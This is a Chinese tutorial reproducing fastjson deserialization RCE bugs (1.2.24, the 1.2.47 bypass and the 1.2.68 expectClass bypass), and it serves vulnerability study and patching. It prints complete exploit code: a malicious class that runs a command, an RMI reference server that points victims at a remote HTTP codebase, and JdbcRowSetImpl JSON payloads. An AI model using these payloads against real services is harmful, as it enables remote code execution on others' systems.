背景(吐槽):
昨天突然看到了fastjson的1.2.80版本有反序列化漏洞,需要修复。想自己复现验证一下(不是1.2.80版本,复现验证的是1.2.24版本及之前的),然后网上百度了一堆,各种说理论以及借助各种工具,三方项目验证、复现的。就没有一个人是自己纯手工写代码复现的。除了理论知识复制的比较全。让作者大概了解了一下fastjson的反序列化漏洞,以及RMI远程命令调用执行以外,帮助不是很大。由于自己也对RMI不是很了解,顾百度加看资料半天。自己实现了一个纯手工加tomcat,加idea的漏洞复现与测试验证,而且,最重要的,根本完全不需要像网上说的那样,还需要去下载什么vulhub、marshalsec这些东西。
fastjson的机制:
fastjson有一个机制,autotype。然后针对autotype还有一个checkAutoType检测机制,而漏洞产生的根本原因就在于这两个机制。checkAutoType是在1.2.25及后续版本中为了防止autoType带来的安全隐患增加的检测机制----对@type属性进行黑白名单限制。在1.2.47及之前的版本,存在一些低级问题,比如开头加L结尾加分号,双写L等可以绕过检测。
简述fastjson的autotype:
fastjson提供了autotype功能,主要是因为进行json还原为对象的时候,如果对象是接口类型(或抽象类)的实现类时,此时反序列化会去掉子类,无法被还原为原始子类(不支持多态),而使用autotype,在请求过程中,我们可以在请求包中通过修改@type的值,来指定反序列化的类型,可以反序列化还原为原始子类。但是fastjson在反序列化过程中会调用类中属性的构造方法、getter方法以及setter方法,如果对应方法中存在恶意的代码--比如远程命令执行,就可能会导致一些不可预知的损失。如:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:9198/myTest","autoCommit":true}
当使用fastjson进行反序列化的时候,攻击者就是利用漏洞,执行远程服务rmi的myTest进行攻击。1.2.25之前的版本autotype默认是开启的,1.2.25开始,默认关闭autotype功能。
RMI:远程方法调用(类似RPC),使用的JRMP----Java Remote Messaging Protocol通信协议,支持不同虚拟机之间的彼此通信,可在不同的主机或同一个主机上,在一个虚拟机中的对象中调用另外一个虚拟机上中的对象中的方法并得到结果。
fastjson反序列化流程:
JSON工具的初始化、默认配置加载等不说了。
1.进入调用parse方法,进入后,加载一些默认配置,然后判断解析的内容是否为null,如果为null,直接返回null;否则根据内容、默认配置等新建一个DefaultJSONParser实例(新建的时候会新建JSONScanner实例,调用父类JSONLexerBase进行实例化,实例化JSONScanner的时候,会初始化一个ch属性的值----获取内容的第一个char,然后在调用DefaultJSONParser的另一个实例化方法,此处根据ch属性的值;判断给传入的JSONLexer实例中的token设值,如果是对象<ch值是大括号----123>设值为12,如果是数组<ch值是中括号----91>设置为14,然后将lexer扫描器向后移动扫描得到下一个位置的char;否则直接取下一个token值)。
2.实例化完成后调用DefaultJSONParse实例的parse方法,进入后首先判断token是否合法,不合法(1、5、10、11、13、15、16、17、19、24、25)直接报错,否则进行其他的对应的逻辑处理(如:jsonObject反序列化的话进入parseObject方法,再次判断lexer解析器token,合法再进行后续操作)
3.lexer.skipWhitespace()判断,白名单(此处白名单是指不需要进行处理的内容,不是autotype白名单)中的ch直接跳过,不进行处理;
4.然后经过一系列处理,获得key值,判断如果key是否为@type、autotype支持是否打开;如果key是@type,且autotype打开了则先获取typeName。
5. 判断是否开启忽略autotype,如果开启了则不继续做处理,否则判断传入的object实例类型名称是否与typeName相同如果相同设置clazz为object的class,否则继续判断;typeName中如果全部是数字则不给clazz赋值,否则进入checkAutoType检测返回clazz。
6.对传入的typeName进行检测,如果为null,直接返回null;否则判断是否存在自定义autotype自定义扩展----autotypehandler,如果存在则使用自定义扩展处理autotype并返回clazz;否则判断SafeMode是否开启,如果开启,直接报错不支持autotype;否则判断typeName的长度是否在3到192之间(不太清楚为什么要这么限制),如果不在直接返回错误autotype不支持。
7.如果第6点满足条件,则继续判断传入的expectClass是否为null、Object、Serializable、Closeable、Cloneable、EventListener、Iterable、Collection,如果都不满足,则执行反序列化流程,并将类加入到mappings列表
8.然后判断是否在白名单、是否在mappings列表中、是否有@type注解,如果都满足,就直接return执行反序列化流程,并将类加入到mappings列表,检测typeName是否在黑名单、是否继承自RowSet、DataSource、ClassLoader这些类,条件只要满足一个,则直接抛出错误
9.如果第8点有一个不满足,则会进入autoTypeSupport判断,它主要用来打开autotype功能,默认是false未打开,直接抛出错误。如果打开了,则执行反序列化流程,并将类加入到mappings列表
开始复现漏洞利用:
1.首先编写一个攻击类RemoteObject:
攻击类中,自己编写一个构造方法,在方法中调用cmd命令,打开系统的计算器。注意:攻击类需要实现ObjectFactroy接口,否则会报错:JdbcRowSet (连接) JNDI 无法连接。当然貌似也不影响攻击,所以不实现也是可以复现漏洞的
package com.liu.rmi;
import lombok.extern.slf4j.Slf4j;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
/**
* fastjson漏洞攻击RMI
* @author kevin
* @date 2022/5/30
*/
@Slf4j
public class RemoteObject implements ObjectFactory {
public RemoteObject(){
try {
log.info("攻击开始!");
Runtime runtime = Runtime.getRuntime();
String[] commands = {"cmd", "/c", "calc"};
Process pc = runtime.exec(commands);
pc.waitFor();
log.info("攻击结束!");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
2.编译此攻击类
可以放到idea编译,也可以直接使用javac命令编译,得到攻击类的class文件。但是需要注意,你的类是否有packge包路径(后面会说明原因)。
3.启动一个tomcat容器:
4.将第二步编译好的攻击类放入tomcat容器
需要放入容器中的webapps中的ROOT目录下,特别注意:在root目录下class的存放路径需要与你类定义的package路径一致。如我的就需要放到 D://xx/tomcat-xx/webapps\ROOT\com\liu\rmi这个路径下。放入后,启动tomcat容器。然后验证,通过http://localhost:port/com/liu/rmi/RemoteObject.class是否能够下载文件,如果能下载,可继续下一步,不可下载的话,检查原因。
5.编写RMI服务
单独编写一个java类文件,在类中注册rmi服务;此处createRegistory中的数字是rmi服务的端口bind的第一个参数是rmi服务的名称,new Referencce中第一个为攻击类名称(可不带路径),第二个为工具类工厂名称(全路径),第三个为攻击类所在的服务器路径,即第3、4两步配置后的class文件访问下载地址
package com.liu.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import lombok.extern.slf4j.Slf4j;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* 类描述
* @author kevin
* @date 2022/5/30
*/
@Slf4j
public class RMIReferenceServer {
public static void main(String[] args) {
try {
//这里IP用以公网访问,需要是公网IP,当然,如果你只是本机测试,也可以localhost
System.setProperty("java.rmi.server.hostname","169.254.138.166");
Registry registry = LocateRegistry.createRegistry(9198);
//注意new Reference的时候,className与factroy需要是类的全路径
registry.bind("myTest",new ReferenceWrapper(new Reference(
"com.liu.rmi.RemoteObject","com.liu.rmi.RemoteObject",
"http://169.254.138.166:8080/")));
log.info("rmi启动完成 " + registry.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
6.然后就可以测试了
你可以选择直接使用main方法测试。
package com.liu.rmi;
import com.alibaba.fastjson.JSON;
import lombok.extern.slf4j.Slf4j;
@Slf4j
public class RMIClient {
public static void main(String[] args) {
try {
// //高版本的jdk可能没有开启url加载
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// //构造攻击的json数据 这里的169.254.138.166:9198是rmi服务器的地址与端口
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":" +
"\"rmi://169.254.138.166:9198/myTest\",\"autoCommit\":true}";
JSON.parseObject(json);
} catch (Exception e) {
e.printStackTrace();
}
}
}
也可以选择来一个springboot项目通过接口测试:
在已有的springboot项目中编写一个接口,或者新建一个springboot项目,添加一个接口,接收json字符串
@GetMapping("/testFastjson")
public void testFastjson(String json){
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JSON.parseObject(json);
}
通过postman调用接口:
7.效果展现
通过fastjson的反序列化方法parseObject,直接调出了windows系统的计算器
如果想复现1.2.48之前的版本的漏洞,改变json字符串的内容即可,改变为:
String json = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://169.254.138.166:9198/myTest\",\"autoCommit\":true}}";
在1.2.24以后,到1.2.48之前:
fastjson默认关闭了反序列化任意类的操作,增加了checkautotype,也就是指定要用来反序列化的类不能够在一些黑名单中,从而做了一定的限制。此次漏洞利用的核心点是java.lang.class这个java的基础类,在fastjson 1.2.48以前的版本没有做该类做任何限制,加上代码的一些逻辑缺陷,造成黑名单以及autotype的绕过。
在1.2.48以后到1.2.68:
反序列化时如果遇到 @type 指定的类为 Throwable 的子类那对应的反序列化处理类就是 ThrowableDeserializer,而漏洞点在 ThrowableDeserializer#deserialze。当第二个属性的 key 也是 @type 时,会取 value 当做类名做一次 checkAutoType 检测。调用ParserConfig#checkAutoType 时注意第二个参数,它指定了第二个参数 expectClass 为Throwable.class 类对象,通常情况下这个参数都是 null。但是如果期望类不为空且反序列化目标类继承自期望类就会添加到缓存 mapping 并且返回这个 class;autotype 检测通过后就会开始实例化异常类对象,同时把 message 和 cause 传给了 ThrowableDeserializer#createException 处理。checkAutoType 一般有以下几种情况会通过校验。
1.白名单里的类
2.开启了 autotype
3.使用了 JSONType 注解
4.指定了期望类(expectClass)
5.缓存 mapping 中的类
本处使用第四种实现(指定了期望类):
定义一个异常类:
package com.liu.fastjsonbug.v1_2_68;
import java.io.IOException;
public class PingException extends Exception {
private String domain;
public PingException() {
super();
}
public String getDomain() {
return domain;
}
public void setDomain(String domain) {
this.domain = domain;
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec("cmd /c "+domain);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}
执行序列化,复现漏洞:
package com.liu.fastjsonbug.v1_2_68;
import com.alibaba.fastjson.JSON;
import lombok.extern.slf4j.Slf4j;
@Slf4j
public class Test {
public static void main( String[] args ){
try {
// //高版本的jdk可能没有开启url加载
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// //构造攻击的json数据 这里的169.254.138.166:9198是rmi服务器的地址与端口
//1.2.68之前版本
String json = "{\"@type\":\"java.lang.Exception\", \"@type\":\"com.liu.fastjsonbug.v1_2_68.PingException\",\"domain\":\"calc\"}";
JSON.parseObject(json);
} catch (Exception e) {
e.printStackTrace();
}
}
}
只要能找到满足以下条件的typeName,即可以绕过AutoTypeCheck的验证:
- 继承于java.lang.AutoCloseabl或java.util.BitSet
- 不在fastjson的黑名单类中
- 其父类和父类接口不在黑名单中
而继承于 java.lang.AutoCloseable 的类能够导致的漏洞:
- Mysql RCE
- Apache commons io read and write files
- Jetty SSRF
- Apachexbean-reflectRCE
1.2.68以后,到1.2.80:
这部分目前还不知道怎么复现,但是明确了存在漏洞,建议更新到fastjson1.2.83以上版本,或者直接更新到fastjson2